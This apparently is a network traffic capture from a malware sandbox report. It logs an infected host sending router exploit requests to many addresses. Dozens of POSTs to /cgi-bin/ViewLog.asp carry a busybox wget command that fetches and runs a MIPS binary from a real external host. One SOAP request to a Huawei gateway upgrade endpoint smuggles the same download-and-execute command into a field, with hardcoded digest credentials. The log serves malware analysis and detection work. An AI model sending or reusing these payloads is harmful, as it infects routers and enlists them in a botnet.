                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:34.214191914 CET367INHTTP/1.1 403 Forbidden
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 106
                                                Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly
                                                Connection: close
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                385192.168.2.1559540156.234.127.17337215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:34.254944086 CET790OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewSta
                                                Nov 23, 2023 05:21:34.418682098 CET361INHTTP/1.1 400 Bad Request
                                                Server: nginx
                                                Date: Thu, 23 Nov 2023 04:21:39 GMT
                                                Content-Type: text/html
                                                Content-Length: 150
                                                Connection: close
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                386192.168.2.155483431.136.206.88080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:35.550323963 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:38.618370056 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:44.762254000 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:56.793940067 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:22.649163008 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:11.799808979 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                387192.168.2.153350631.136.247.1458080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:35.550400019 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:38.618341923 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:44.762248039 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:56.793917894 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:22.649156094 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:11.799791098 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                388192.168.2.155324431.136.152.2368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:36.756712914 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:39.898329020 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:46.042232037 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:58.073869944 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:22.649171114 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:11.799803019 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                389192.168.2.155038294.120.102.2558080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:36.797494888 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                390192.168.2.154670494.122.229.2018080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:36.801824093 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                391192.168.2.154049231.200.44.328080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:36.977632046 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                392192.168.2.154052285.122.219.1218080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:37.061523914 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
